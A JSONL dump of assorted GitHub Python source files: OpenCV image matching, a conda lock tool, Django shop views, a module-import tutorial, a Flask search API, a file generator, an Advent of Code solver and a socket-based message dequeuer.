np.array([[57, 368], [98, 22], [585, 28], [626, 374]], dtype=float)\n\n # Read destination image.\n im_dst = cv2.imread('destimg2.jpg')\n # Four corners of the book in destination image.\n pts_dst = np.array([[0, 0], [511, 0], [511, 639], [0, 639]], dtype=float)\n\n # Calculate Homography\n h, status = cv2.findHomography(pts_src, pts_dst)\n\n # Warp source image to destination based on homography\n im_out = cv2.warpPerspective(im_src, h, (im_dst.shape[1], im_dst.shape[0]))\n im_grey = cv2.cvtColor(im_out, cv2.COLOR_BGR2GRAY)\n\n # Match to template tiles\n tileFiles = ['tile000002.png', 'tile000004.png', 'tile000008.png',\n 'tile000016.png', 'tile000032.png', 'tile000064.png',\n 'tile000128.png']\n lineThicknessIdx = 1\n\n for tileFile in tileFiles:\n tile = cv2.imread(tileFile, 0)\n w, h = tile.shape[::-1]\n\n # Apply template Matching\n method = cv2.TM_CCOEFF_NORMED\n res = cv2.matchTemplate(im_grey, tile, method)\n threshold = 0.75\n loc = np.where(res >= threshold)\n for pt in zip(*loc[::-1]):\n cv2.rectangle(im_grey, pt, (pt[0] + w, pt[1] + h), (0, 0, 255), lineThicknessIdx)\n lineThicknessIdx += 1\n\n cv2.imshow(\"Matched One\", im_grey)\n\n cv2.waitKey(0)\n","repo_name":"robdobsn/RobotPlay2048","sub_path":"Tests/TestImgRecognitionAndMotorControl/Test2048Detect3.py","file_name":"Test2048Detect3.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35078628147","text":"from argparse import ArgumentParser\n\nfrom .env import Environment, diff, modify\nfrom .conda import conda_env_export\nfrom .config import BUILD, parse_config\n\n\ndef lock(current_env, concrete_path):\n \"\"\"\n Lock the current environment's configuration into a\n concrete configuration file on disk.\n \"\"\"\n with open(concrete_path, 'w') as target:\n target.write(current_env.to_string())\n\n\ndef check(current_env, concrete_path):\n \"\"\"\n Check if a concrete environment specification matches\n that of the currently activated environment.\n \"\"\"\n expected_env = Environment.from_path(concrete_path)\n return diff(expected_env, current_env)\n\n\ndef parse_args():\n parser = ArgumentParser(\n description=\"Manage a concrete environment specification in relation \"\n \"to that of the currently activated environment.\"\n )\n parser.add_argument('--concrete', default='environment.lock.yaml',\n help=(\n \"Location of the concrete configuration file. \"\n \"Defaults to environment.lock.yaml.\"\n ))\n parser.add_argument('--config', default='picky.yaml',\n help=(\n \"Optional picky configuration file. \"\n \"Defaults to picky.yaml.\"\n ))\n commands = parser.add_subparsers(title='commands')\n for command in lock, check:\n command_parser = commands.add_parser(command.__name__, help=command.__doc__)\n command_parser.set_defaults(func=command)\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_args()\n config = parse_config(args.config)\n export = conda_env_export(config.detail == BUILD)\n raw_env = Environment.from_string(export)\n current_env = modify(raw_env, config.ignore, config.develop)\n return args.func(current_env, args.concrete)\n","repo_name":"simplistix/picky-conda","sub_path":"picky/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"} +{"seq_id":"26770463692","text":"from app.serializers.post_serializer import PostSerializer\nfrom django.http.response import FileResponse, Http404, HttpResponse, HttpResponseBadRequest, HttpResponseForbidden\nfrom django.views.generic import ListView, View\nfrom app.models import Avatar, Letter, Product, UserData\nfrom django.http import JsonResponse\nfrom django.db.models import Max, Min\nfrom django.core.paginator import Paginator\nfrom django.db.models import Q\n\n\nclass ProductsView(ListView):\n response = {\"data\": [], \"has_next\": False}\n\n def get(self, *args, **kwargs):\n products = list(Product.objects.all())\n count = self.request.GET.get(\"page\", \"\")\n if count.isdigit() and len(count) > 0:\n paginator = Paginator(products, 4)\n count = int(count)\n\n if count <= paginator.num_pages:\n page = paginator.page(count)\n self.response[\"data\"] = PostSerializer(\n page.object_list, many=True).data\n self.response[\"has_next\"] = page.has_next()\n\n return JsonResponse(self.response, json_dumps_params={'ensure_ascii': False})\n\n return HttpResponseBadRequest()\n\n\nclass ProductInfo(ListView):\n response = {\"data\": []}\n\n def get(self, request, *args, **kw):\n products = None\n cat = request.GET.get(\"category\", \"\")\n search = request.GET.get(\"search\", \"\")\n\n if cat:\n products = Product.objects.filter(category__icontains=cat)\n elif search:\n products = Product.objects.filter(Q(title__icontains=search) | Q(\n category__contains=search) | Q(short_description__contains=search)).distinct()\n else:\n products = Product.objects\n\n categories = map(lambda obj: obj.get(\"category\"),\n products.distinct().all().values(\"category\"))\n max_price = Product.objects.aggregate(max_price=Max(\"price\"))\n min_price = Product.objects.aggregate(min_price=Min(\"price\"))\n self.response[\"data\"] = {\"categories\": list(categories), \"price\": [\n min_price, max_price]}\n return JsonResponse(self.response, json_dumps_params={'ensure_ascii': False})\n\n\nclass ProductInfoBrands(ListView):\n response = {\"data\": {}}\n\n def get(self, request, *args, **kw):\n category = request.GET.get(\"category\")\n\n if category.isalpha() and len(category):\n brand = list(Product.objects.filter(\n category=category).distinct().all().values(\"brand\"))\n else:\n brand = list(Product.objects.distinct().all().values(\"brand\"))\n\n brand = map(lambda v: v.get(\"brand\"), brand)\n self.response[\"data\"][\"brands\"] = list(brand)\n return JsonResponse(self.response, json_dumps_params={'ensure_ascii': False})\n\n\nclass ProductAvailableCount(ListView):\n response = {\"data\": {}}\n\n def get(self, request, *args, **kw):\n product_id = request.GET.get('product_id', \"\")\n\n if product_id.isdigit():\n product = Product.objects.filter(id=product_id).first()\n self.response[\"data\"] = {\"count\": product.count}\n return JsonResponse(self.response, json_dumps_params={'ensure_ascii': False})\n else:\n return Http404()\n\n\nclass ProductView(ListView):\n\n def get(self, request, *args, **kwargs):\n product = Product.objects.filter(id__contains=kwargs[\"pk\"]).first()\n\n if product:\n images = []\n product_serialized = PostSerializer(product).data\n\n for obj in product.productimages_set.all():\n images.append(obj.ex_photo.url)\n\n product_serialized.update({\"ex_photoes\": images})\n\n return JsonResponse({\"data\": product_serialized}, json_dumps_params={'ensure_ascii': False})\n else:\n return HttpResponseForbidden()\n\n\nclass ProductSort(ListView):\n params = None\n per_page = 4\n response = {\"data\": []}\n\n def __init__(self, *args):\n super().__init__(*args)\n self.sort_by = {\"price\": self.sort_by_price,\n \"brand\": self.sort_by_brand, \"category\": self.sort_by_category}\n\n def get(self, request, *args, **kwargs):\n self.params = self.request.GET\n page = request.GET.get(\"page\", \"\")\n search = request.GET.get(\"search\", '')\n products = None\n\n if len(search):\n products = Product.objects.filter(Q(title__icontains=search) | Q(\n category__contains=search) | Q(short_description__contains=search)).distinct()\n\n if page.isdigit():\n page = int(page)\n else:\n page = 1\n\n for criteria in self.sort_by.keys():\n if criteria in request.GET:\n if products is None:\n products = self.sort_by.get(criteria)()\n else:\n products = self.sort_by.get(criteria)(products)\n\n if products:\n paginator = Paginator(products.order_by(\"id\"), self.per_page)\n\n if page <= paginator.num_pages:\n data_page = paginator.page(page)\n data = PostSerializer(data_page.object_list, many=True)\n self.response[\"data\"].extend(data.data)\n self.response[\"has_next\"] = data_page.has_next()\n\n return JsonResponse(self.response, json_dumps_params={'ensure_ascii': False})\n\n def sort_by_price(self, obj=Product.objects):\n prices = [self.params.get(\"min\"), self.params.get(\"max\")]\n\n if prices[0].isdigit() and prices[1].isdigit():\n products_obj = obj.filter(Q(price__lte=prices[1]) & Q(\n price__gte=prices[0])).order_by(\"price\")\n return products_obj\n else:\n return obj.all()\n\n def sort_by_category(self, obj=Product.objects):\n category = self.params.get(\"category\")\n if category:\n return obj.filter(category__iexact=category)\n else:\n return obj.all()\n\n def sort_by_brand(self, obj=Product.objects):\n brand = self.params.get(\"brand\")\n if brand:\n return obj.filter(brand__iexact=brand)\n else:\n return obj.all()\n","repo_name":"Vicky0603/Shop_angular_py","sub_path":"django/app/view_pack/products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72395600083","text":"# *****************************************************************************\n# here is the file where we need to import the module into it:\n# If the module is the \"server\" so think about this file to act as the \"client\"\n# *****************************************************************************\n\n# We have 3 different ways:\n# There is no performance difference in these ways (all the same) and no logical difference\n# It's just different method of accessing our module, or how are we going to call it\n# it's a matter of personal preference\n\n# First Way: \n# from the module, importing specific function(s)\n# ***********************************************\n# Syntax: from module_name import function_name\n# below we are importing ONLY display from the \"helpers_module\" which is the file that contains our function(s)\n\n# Way1: import module as namespace: \n# NOTE: \"namespace\" is the module (python file) name which is \"helpers_module\" in this example\n# below we are importing just this specific function \"display\" from our helpers_module.py file\nfrom helpers_module import display\n\n# You can specify a list of functions using the comma \",\"\nfrom helpers_module import display, number_total, number_avg\n\n# Instead of listing all your functions as comma separated values!\n# It's better to import them all using * as explained in the second way:\n\n# Second Way: \n# import all (all the functions/code) into the current namespace (file) using the wildcard *:\n# *******************************************************************************************\n# Way2: import module as namespace:\nfrom helpers_module import *\n\n\n# Third way: \n# using just the import\n# *********************\n# the \"import\" keyword will import all the functions inside \"helpers_module.py\" file\n# this file \"helpers_module.py\" has 4 functions inside it\n# we need/have to write the file name (specify the namespace)\n# then . then the function signature for every function we call\n# Way 3:\n# using import python file name (no extension)\nimport helpers_module\n\n# Besides calling our own custom module file(s)\n# We can still use/call Python built-in modules\n# Example below, we calling the module named \"statistics\":\n# This module \"statistics\" provides functions for calculating mathematical statistics of numeric (Real-valued) data.\nimport statistics\n# Or using this syntax:\nfrom statistics import mean\n\n# NOTE:\n# In the \"first\" and \"second\" way:\n# ********************************\n# we DON'T need to specify the namespace \"helpers_module\"\n# before our functions when we call them\n# we can call any function by writing the function name and it's arguments only\n# These two ways: will make everything in this module \"helpers_module\" become globally available\n\n# In the \"third\" way:\n# *******************\n# we Do need to specify the namespace \"helpers_module\"\n# >> the \"namespace\" is the module (python file) name\n# >> then dot notation\n# >> then function/varaible/class name\n# Example: helpers_module.display()\n\n# Now we can call all our functions:\n# calling our function display() without passing any argument\n# By default we will have:\n# message=\"Here is my default message\"\n# is_raining=False\n# ******************************************************************************************************\n# calling my function display() without passing anything (value), so python will use the default values:\n# message=\"Here is my default message\"\n# is_raining=False\n\n# NOTE: ONLY for the \"third\" way:\n# we need/have to write the file name then . then the function signature for every function we call\nhelpers_module.display() # Here is my default message\n# Very Important Note: In this way if we don't use/call all the functions and the variables\n# we will receive a warning (Problem)!\n\nhelpers_module.display(\"It's fine\")\n\n# Note to remember :-)\n# passing the boolean value \"True\" => it's raining\n# the default value is false => not raining\ndisplay(\"take your umbrella\", True)\n\n\nprint(helpers_module.my_text)\nprint(my_text)\n\nmy_list = [89, 78.67, 90, 78.54, 4, 3]\n# print(\"the total is: \", number)\nhelpers_module.number_avg\n\n\nprint(\"**************************************\")\ndisplay(\"Stay at home\", True) # Stay at home\ndisplay(\"Don't go for walking today\", True) # Don't go for walking today\ndisplay(\"Take a bus\", True) # Take a bus\n\n# You should stay at home and study python (Yes even if it's not raining)\ndisplay(\"You should stay at home and study python\", False)\n\n# Still you will have to stay at home\ndisplay(\"Still you will have to stay at home\")\n# Yes we can have this code!!! display(True,\"Any text\")\n\n# below I am passing two string values instead of passing string and boolean\ndisplay(\"Stay inside\", \"raining\") # Stay inside\n# Notice that based on our function signature we need to specify our empty string\n# otherwise Python will assign the value of True to the function parameter \"message\"\n\n# Because we are passing one value,\n# so python will take it and just assigned it to first parameter \"message\"\ndisplay(True) # message = True AND is_raining = False => output: True\n# the same is here also:\ndisplay(False) # output: Warning! Take your umbrella\n\n# To make sure that these boolean values: True or False\n# can go (assigned) to the second function parameter which is is_raining\n# we do need to pass something to to the first parameter in our function:\n# Below we are passing just an empty string to the function parameter message and True to is_raining\n# message will be \"\" empty string, nothing in between \"\"\n# is_raining will be \"True\"\ndisplay(\"\", True) # Warning! Take your umbrella\n# below is the same\n# Notice that in the example (line) below we are passing the value of \"False\"\n# to our function parameter named \"is_raining\"\n# However, is_raining has the default value of \"False\"\n# so Whether we put False of we don't as a second value, the result is the same\n# Although we are passing an empty string, Python will assign this empty string to the parameter message!!!\n# nothing just an empty line because we are passing empty string\ndisplay(\"\", False)\n\ndisplay(None, False) # the keyword \"None\" in Python is like \"Null\" in JavaScript\n\ndisplay(123456789) # yes I am passing here numbers instead of string => 123456789\n# have fun again by passing two numbers:\ndisplay(100, 200) # 100\nprint(\"**************************************\")\n\n# If you can a function that not found,\n# you will receive this error: \"function_name is not defined\ncourse_details(20) # Monday - Room#12 - 6:30 PM\n\nmy_list = [89, 78.67, 90, 78.54, 4, 3]\n# Because my function doesn't print and I want to print the total\n# So we put/placed our function call inside print() function\nprint(number_total(my_list)) # None\n\n\n# Notice that below we also need to use/call this variable \"my_text\"\n# if we don't call it, we will receive this problem:\n# \"my_text1\" is not defined\nprint(my_text)\n\nmy_exams = [90, 87, 91, 92, 88, 85]\n# avg (the mean):\navg = number_total(my_exams) / len(my_exams)\nprint(\"Average\", avg)\n\n# Or just calling our average function!!\nprint(\"Average\", number_avg(my_exams))\n\n\n# Or just calling the mean() function from the statistics module (build-in module):\nprint(\"Average\", statistics.mean(my_exams))\n# OR:\nprint(\"Average\", mean(my_exams))\n","repo_name":"anmarjarjees/python-modules-packages","sub_path":"main_app1.py","file_name":"main_app1.py","file_ext":"py","file_size_in_byte":7220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39269946813","text":"from flask import Flask, request, jsonify\nfrom views.search import perform_search\nfrom flask_cors import CORS, cross_origin\n\napp = Flask(__name__)\nCORS(app, support_credentials=True)\n\n@app.route('/search', methods=['POST'])\n@cross_origin(supports_credentials=True)\ndef search():\n data = request.get_json() # Get data from POST body\n search_query = data['query'] # Access the 'query' key\n search_results = perform_search(search_query, num_results='9')\n \n return jsonify(search_results)\n\n@app.route('/search_alternatives', methods=['POST'])\n@cross_origin(supports_credentials=True)\ndef search_alternatives():\n data = request.get_json()\n search_query = data['query'] + ' alternatives'\n search_results = perform_search(search_query, num_results='3')\n \n return jsonify(search_results)\n\nif __name__ == '__main__':\n app.run(debug=True, port=5001)\n","repo_name":"oskccy/hackthechange_2023_winner_stomata","sub_path":"search/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"7674611086","text":"from pathlib import Path\nfrom random import choice, randint\nfrom string import ascii_letters, digits\nfrom argparse import ArgumentParser\n\nFILE_SIZE = 2 * 1024\nWRITE_BLOCK_SIZE = 4 * 1024\nNAME_LENGTH = 6\ncharset = ascii_letters + digits\n\n\ndef gen_name():\n return gen_text(NAME_LENGTH)\n\n\ndef gen_bin(length):\n return b''.join(randint(0, 255) for _ in range(length))\n\n\ndef gen_text(length):\n return ''.join(choice(charset) for _ in range(length))\n\n\ndef mk_file(directory: Path, file_size, binary=False):\n name = gen_name()\n new_file = directory / name\n\n if binary:\n generator = gen_bin\n mode = 'wb'\n else:\n generator = gen_text\n mode = 'w'\n f = new_file.open(mode)\n block_count = file_size // WRITE_BLOCK_SIZE\n tail = file_size % WRITE_BLOCK_SIZE\n i = 0\n while i < block_count:\n f.write(generator(WRITE_BLOCK_SIZE))\n i += 1\n if tail > 0:\n f.write(generator(tail))\n f.close()\n\n\ndef main():\n parser = ArgumentParser()\n parser.add_argument('-f', '--files', default=2)\n parser.add_argument('-s', '--size', default=FILE_SIZE)\n parser.add_argument('-r', '--root', default='.')\n group = parser.add_mutually_exclusive_group()\n group.add_argument('-b', '--binary', default=False)\n group.add_argument('-t', '--text', default=True)\n args = parser.parse_args()\n file_size = args.size\n root_dir = args.root\n binary = args.binary and not args.text\n mk_file(root_dir, file_size, binary)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"angelleon/driveckup","sub_path":"src/mk_file.py","file_name":"mk_file.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12634024200","text":"import numpy as np\n\nast_to_num = {'.': 0, '#': 1}\nwith open('input10.txt') as f:\n belt = np.array([[ast_to_num[ast] for ast in line.strip()] for line in f])\n\nasteroids = np.argwhere(belt == 1)\n\nmax_idx = None\nmax_visible = 0\n\nfor idx, asteroid in enumerate(asteroids):\n non_self_asteroids = np.concatenate((asteroids[:idx], asteroids[idx+1:]))\n rel_locs = non_self_asteroids - asteroid\n gcds = np.gcd(*rel_locs.T).reshape(-1, 1)\n vision_lines = rel_locs / gcds\n unique_visible = set(tuple(x) for x in vision_lines)\n if len(unique_visible) > max_visible:\n max_idx = idx\n max_visible = len(unique_visible)\n\nprint(max_idx, max_visible)\n","repo_name":"sjvrijn/AdventofCode","sub_path":"Sander/2019/10a.py","file_name":"10a.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"7972401994","text":"from __future__ import annotations\nfrom austin_heller_repo.api_interface import ApiInterfaceFactory, ApiInterface\nfrom austin_heller_repo.socket_client_factory import ServerSocketFactory, ServerSocket, start_thread, ClientSocketFactory, ClientSocket, json, threading, Semaphore, ThreadDelay\nfrom typing import List, Tuple, Dict, Callable\nimport time\n\n\nclass Dequeuer():\n\n\tdef __init__(self, *,\n\t\t\t\t dequeuer_guid: str,\n\t\t\t\t queue_guid: str,\n\t\t\t\t api_interface_factory: ApiInterfaceFactory,\n\t\t\t\t server_socket_factory: ServerSocketFactory,\n\t\t\t\t client_socket_factory: ClientSocketFactory,\n\t\t\t\t wifi_server_polling_seconds: float,\n\t\t\t\t is_informed_of_enqueue: bool,\n\t\t\t\t listening_port: int):\n\n\t\tself.__dequeuer_guid = dequeuer_guid\n\t\tself.__queue_guid = queue_guid\n\t\tself.__api_interface_factory = api_interface_factory\n\t\tself.__server_socket_factory = server_socket_factory\n\t\tself.__client_socket_factory = client_socket_factory\n\t\tself.__wifi_server_polling_seconds = wifi_server_polling_seconds\n\t\tself.__is_informed_of_enqueue = is_informed_of_enqueue\n\t\tself.__listening_port = listening_port\n\n\t\tself.__server_socket = None # type: ServerSocket\n\t\tself.__process_thread = None # type: threading.Thread\n\t\tself.__is_running_process_thread = False\n\t\tself.__process_transmission_dequeue_threads = [] # type: List[threading.Thread]\n\t\tself.__process_transmission_dequeue_threads_semaphore = Semaphore()\n\n\t\tself.__start_semaphore = Semaphore()\n\t\tself.__is_running_transmission_dequeue_thread = False\n\t\tself.__transmission_dequeue_thread = None\n\t\tself.__transmission_dequeue_thread_delay = None\n\t\tself.__wifi_server_token_guid = None # type: str\n\n\tdef is_running(self) -> bool:\n\t\treturn self.__is_running_process_thread\n\n\tdef start(self):\n\n\t\tself.__start_semaphore.acquire()\n\t\tif self.__transmission_dequeue_thread is not None:\n\t\t\traise Exception(\"Cannot start without first stopping.\")\n\t\telse:\n\n\t\t\tdef _on_accepted_wifi_server_client_method(client_socket: ClientSocket) -> bool:\n\t\t\t\t# wifi server connected to dequeuer to inform them that a transmission is available\n\t\t\t\t_is_client_valid = None\n\t\t\t\ttry:\n\t\t\t\t\t_wifi_server_json_string = client_socket.read()\n\t\t\t\t\tclient_socket.close()\n\n\t\t\t\t\t_is_client_valid = False\n\n\t\t\t\t\t_wifi_server_json = json.loads(_wifi_server_json_string)\n\n\t\t\t\t\tif \"wifi_server_token_guid\" not in _wifi_server_json:\n\t\t\t\t\t\t_error = \"Missing wifi_server_token_guid from client socket json object. \\\"\" + _wifi_server_json_string + \"\\\".\"\n\t\t\t\t\t\tprint(_error)\n\t\t\t\t\telse:\n\t\t\t\t\t\t_wifi_server_token_guid = _wifi_server_json[\"wifi_server_token_guid\"]\n\t\t\t\t\t\tif _wifi_server_token_guid != self.__wifi_server_token_guid:\n\t\t\t\t\t\t\t_error = \"Invalid wifi server token: \\\"\" + _wifi_server_token_guid + \"\\\".\"\n\t\t\t\t\t\t\tprint(_error)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.__transmission_dequeue_thread_delay.try_abort()\n\t\t\t\t\t\t\t_is_client_valid = True\n\t\t\t\texcept Exception as ex:\n\t\t\t\t\tprint(\"ex: \" + str(ex))\n\t\t\t\treturn _is_client_valid\n\n\t\t\tself.__server_socket = self.__server_socket_factory.get_server_socket()\n\t\t\tself.__server_socket.start_accepting_clients(\n\t\t\t\thost_ip_address=\"0.0.0.0\",\n\t\t\t\thost_port=self.__listening_port,\n\t\t\t\ton_accepted_client_method=_on_accepted_wifi_server_client_method\n\t\t\t)\n\n\t\t\tdef _transmission_dequeue_thread_method():\n\t\t\t\twhile self.__is_running_transmission_dequeue_thread and not self.try_announce_dequeuer():\n\t\t\t\t\tself.__transmission_dequeue_thread_delay.try_sleep(self.__wifi_server_polling_seconds)\n\t\t\t\twhile self.__is_running_transmission_dequeue_thread:\n\t\t\t\t\t_is_normal_sleep = self.__transmission_dequeue_thread_delay.try_sleep(self.__wifi_server_polling_seconds)\n\t\t\t\t\t_found_transmission_dequeue = self.try_process_next_transmission_dequeue(\n\t\t\t\t\t\tqueue_guid=self.__queue_guid\n\t\t\t\t\t)\n\t\t\tself.__transmission_dequeue_thread = start_thread(_transmission_dequeue_thread_method)\n\n\t\tself.__start_semaphore.release()\n\n\tdef stop(self):\n\n\t\tself.__start_semaphore.acquire()\n\t\tif self.__transmission_dequeue_thread is None:\n\t\t\traise Exception(\"Cannot stop without first starting.\")\n\t\telse:\n\n\t\t\tself.__is_running_transmission_dequeue_thread = False\n\t\t\tself.__transmission_dequeue_thread_delay.try_abort()\n\t\t\tself.__transmission_dequeue_thread.join()\n\t\t\tself.__transmission_dequeue_thread = None\n\n\t\tself.__start_semaphore.release()\n\n\tdef BACKUP_start(self):\n\n\t\tself.__is_running_process_thread = True\n\n\t\tif self.__process_thread is not None:\n\t\t\traise Exception(f\"Cannot start dequeuer without first stopping previous start.\")\n\t\telse:\n\n\t\t\tdef _on_accepted_wifi_server_client_method(client_socket: ClientSocket):\n\t\t\t\t# wifi server connected to dequeuer to inform them that a transmission is available\n\t\t\t\t_wifi_server_json_string = client_socket.read()\n\t\t\t\tclient_socket.close()\n\t\t\t\t_wifi_server_json = json.loads(_wifi_server_json_string)\n\t\t\t\tif \"queue_guid\" in _wifi_server_json:\n\t\t\t\t\t_error = \"\\\"queue_guid\\\" is missing from json sent to dequeuer: \\\"\" + _wifi_server_json_string + \"\\\"\"\n\t\t\t\t\tprint(_error)\n\t\t\t\t\traise Exception(_error)\n\t\t\t\t_queue_guid = _wifi_server_json[\"queue_guid\"]\n\t\t\t\tif _queue_guid in self.__queue_guids:\n\t\t\t\t\tself.try_process_next_transmission_dequeue(\n\t\t\t\t\t\tqueue_guid=_queue_guid\n\t\t\t\t\t)\n\n\t\t\tself.__server_socket = self.__server_socket_factory.get_server_socket()\n\t\t\tself.__server_socket.start_accepting_clients(\n\t\t\t\thost_ip_address=\"0.0.0.0\",\n\t\t\t\thost_port=self.__listening_port,\n\t\t\t\ton_accepted_client_method=_on_accepted_wifi_server_client_method\n\t\t\t)\n\n\t\t\tdef _process_thread_method():\n\t\t\t\ttry:\n\t\t\t\t\t_annouce_is_successful = False\n\t\t\t\t\twhile not _annouce_is_successful:\n\t\t\t\t\t\t_annouce_is_successful = self.try_announce_dequeuer()\n\t\t\t\t\t\tif not _annouce_is_successful:\n\t\t\t\t\t\t\ttime.sleep(self.__wifi_server_polling_seconds)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t_process_dequeue_index = 0\n\t\t\t\t\t\t\twhile self.__is_running_process_thread:\n\t\t\t\t\t\t\t\tfor _queue_guid in self.__queue_guids:\n\t\t\t\t\t\t\t\t\t_dequeue_is_successful = self.try_process_next_transmission_dequeue(\n\t\t\t\t\t\t\t\t\t\tqueue_guid=_queue_guid\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\tif not _dequeue_is_successful:\n\t\t\t\t\t\t\t\t\t\ttime.sleep(self.__wifi_server_polling_seconds)\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tprint(f\"Processed transmission dequeue #{_process_dequeue_index}\")\n\t\t\t\t\t\t\t\t\t\t_process_dequeue_index += 1\n\t\t\t\t\t\t\t\tself.join_completed_transmission_dequeue_threads()\n\t\t\t\t\tself.__is_running_process_thread = False\n\t\t\t\t\tself.join_all_transmission_dequeue_threads()\n\t\t\t\texcept Exception as ex:\n\t\t\t\t\tprint(\"ex: \" + str(ex))\n\t\t\t\t\tself.__is_running_process_thread = False\n\n\t\t\tself.__process_thread = start_thread(_process_thread_method)\n\n\tdef try_announce_dequeuer(self) -> bool:\n\t\t_is_successful = False\n\t\ttry:\n\t\t\t_api_interface = self.__api_interface_factory.get_api_interface()\n\t\t\t_api_interface.send_dequeuer_announcement(\n\t\t\t\tdequeuer_guid=self.__dequeuer_guid,\n\t\t\t\tis_informed_of_enqueue=self.__is_informed_of_enqueue,\n\t\t\t\tlistening_port=self.__listening_port\n\t\t\t)\n\t\t\t_is_successful = True\n\t\texcept Exception as ex:\n\t\t\tprint(f\"try_announce_dequeuer: ex: {ex}\")\n\t\treturn _is_successful\n\n\tdef try_process_next_transmission_dequeue(self, *, queue_guid: str) -> bool:\n\t\t_is_successful = False\n\t\ttry:\n\t\t\t_api_interface = self.__api_interface_factory.get_api_interface()\n\t\t\t_transmission_dequeue = _api_interface.dequeue_next_transmission(\n\t\t\t\tdequeuer_guid=self.__dequeuer_guid,\n\t\t\t\tqueue_guid=queue_guid\n\t\t\t)\n\t\t\tif _transmission_dequeue is not None:\n\n\t\t\t\tdef _process_transmission_dequeue_thread_method(transmission_dequeue: Dict, api_interface: ApiInterface):\n\t\t\t\t\t_transmission_dequeue_guid = None\n\t\t\t\t\ttry:\n\t\t\t\t\t\t_transmission_dequeue_guid = transmission_dequeue[\"transmission_dequeue_guid\"]\n\t\t\t\t\t\t_transmission = transmission_dequeue[\"transmission\"]\n\t\t\t\t\t\t_destination_device = _transmission[\"destination_device\"]\n\t\t\t\t\t\t_destination_client = _destination_device[\"last_known_client\"]\n\t\t\t\t\t\t_ip_address = _destination_client[\"ip_address\"]\n\t\t\t\t\t\t_port = _destination_device[\"socket_port\"]\n\t\t\t\t\t\t_client_socket = self.__client_socket_factory.get_client_socket()\n\t\t\t\t\t\t_client_socket.connect_to_server(\n\t\t\t\t\t\t\tip_address=_ip_address,\n\t\t\t\t\t\t\tport=_port\n\t\t\t\t\t\t)\n\t\t\t\t\t\t_transmission_json_string = _transmission[\"transmission_json_string\"]\n\t\t\t\t\t\t_client_socket.write(_transmission_json_string)\n\t\t\t\t\t\t_client_socket.close()\n\t\t\t\t\t\tapi_interface.update_transmission_as_completed(\n\t\t\t\t\t\t\ttransmission_dequeue_guid=_transmission_dequeue_guid\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\t# force the dequeuer to immediately dequeue next transmission\n\t\t\t\t\t\tself.__transmission_dequeue_thread_delay.try_abort()\n\n\t\t\t\t\texcept Exception as ex:\n\t\t\t\t\t\tprint(f\"ex: {ex}\")\n\t\t\t\t\t\t_error_message_json = {\"exception\": str(ex), \"transmission_dequeue_guid\": _transmission_dequeue_guid}\n\t\t\t\t\t\tif _transmission_dequeue_guid is None:\n\t\t\t\t\t\t\tprint(\"Error: failed to send update of failure to api since _transmission_dequeue_guid is None.\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tapi_interface.update_transmission_as_failed(\n\t\t\t\t\t\t\t\ttransmission_dequeue_guid=_transmission_dequeue_guid,\n\t\t\t\t\t\t\t\terror_message_json=_error_message_json\n\t\t\t\t\t\t\t)\n\n\t\t\t\t_process_transmission_dequeue_thread = start_thread(_process_transmission_dequeue_thread_method, _transmission_dequeue, _api_interface)\n\t\t\t\tself.__process_transmission_dequeue_threads_semaphore.acquire()\n\t\t\t\tself.__process_transmission_dequeue_threads.append(_process_transmission_dequeue_thread)\n\t\t\t\tself.__process_transmission_dequeue_threads_semaphore.release()\n\n\t\t\t\t_is_successful = True\n\t\texcept Exception as ex:\n\t\t\tprint(f\"try_process_next_transmission_dequeue: ex: {ex}\")\n\t\treturn _is_successful\n\n\tdef stop(self):\n\n\t\tif self.__process_thread is None:\n\t\t\t_error = f\"Cannot stop processing without first starting.\"\n\t\t\tprint(_error)\n\t\t\traise Exception(_error)\n\t\telse:\n\t\t\tself.__server_socket.stop_accepting_clients()\n\t\t\tself.__server_socket.close()\n\t\t\tself.__is_running_process_thread = False\n\t\t\tself.__process_thread.join()\n\n\tdef join_completed_transmission_dequeue_threads(self):\n\n\t\t_remove_indexes = [] # type: List[int]\n\n\t\tfor _thread_index in range(len(self.__process_transmission_dequeue_threads)):\n\t\t\tif not self.__process_transmission_dequeue_threads[_thread_index].is_alive():\n\t\t\t\t_remove_indexes.append(_thread_index)\n\n\t\tself.__process_transmission_dequeue_threads_semaphore.acquire()\n\t\tfor _thread_index in reversed(_remove_indexes):\n\t\t\tself.__process_transmission_dequeue_threads.pop(_thread_index)\n\t\tself.__process_transmission_dequeue_threads_semaphore.release()\n\n\tdef join_all_transmission_dequeue_threads(self):\n\n\t\tself.__process_transmission_dequeue_threads_semaphore.acquire()\n\t\tfor _thread in self.__process_transmission_dequeue_threads:\n\t\t\t_thread.join()\n\t\tself.__process_transmission_dequeue_threads.clear()\n\t\tself.__process_transmission_dequeue_threads_semaphore.release()\n","repo_name":"AustinHellerRepo/DeviceMessagingSystem","sub_path":"components/dequeuer/app/dequeuer.py","file_name":"dequeuer.py","file_ext":"py","file_size_in_byte":10603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10076272588","text":"import unittest\nfrom bubble_sort import bubble_sort\n\n\nclass 